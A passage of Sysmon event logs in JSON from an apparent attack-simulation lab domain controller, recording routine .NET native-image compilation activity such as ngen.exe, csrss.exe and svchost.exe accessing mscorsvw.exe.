12:01:42.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-00103A4D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:42.526\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nTargetProcessId: 4188\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:42.526","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-0010A0500B00}","TargetProcessId":"4188","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:42.526\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nTargetProcessId: 4188\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:42.526","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-0010A0500B00}","TargetProcessId":"4188","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:42.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nTargetProcessId: 4188\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:42.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-0010A0500B00}","TargetProcessId":"4188","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:43.197\r\nProcessGuid: {90617006-42A6-5F2D-0000-0010A0500B00}\r\nProcessId: 4188\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\105c-0\\Microsoft.Build.Utilities.v4.0.dll\r\nCreationUtcTime: 2020-08-07 12:01:43.197","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:43.197","ProcessGuid":"{90617006-42A6-5F2D-0000-0010A0500B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\105c-0\\Microsoft.Build.Utilities.v4.0.dll","CreationUtcTime":"2020-08-07 12:01:43.197","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001069540B00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001069540B00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001069540B00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001069540B00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001069540B00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001069540B00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010EA570B00}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010EA570B00}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\n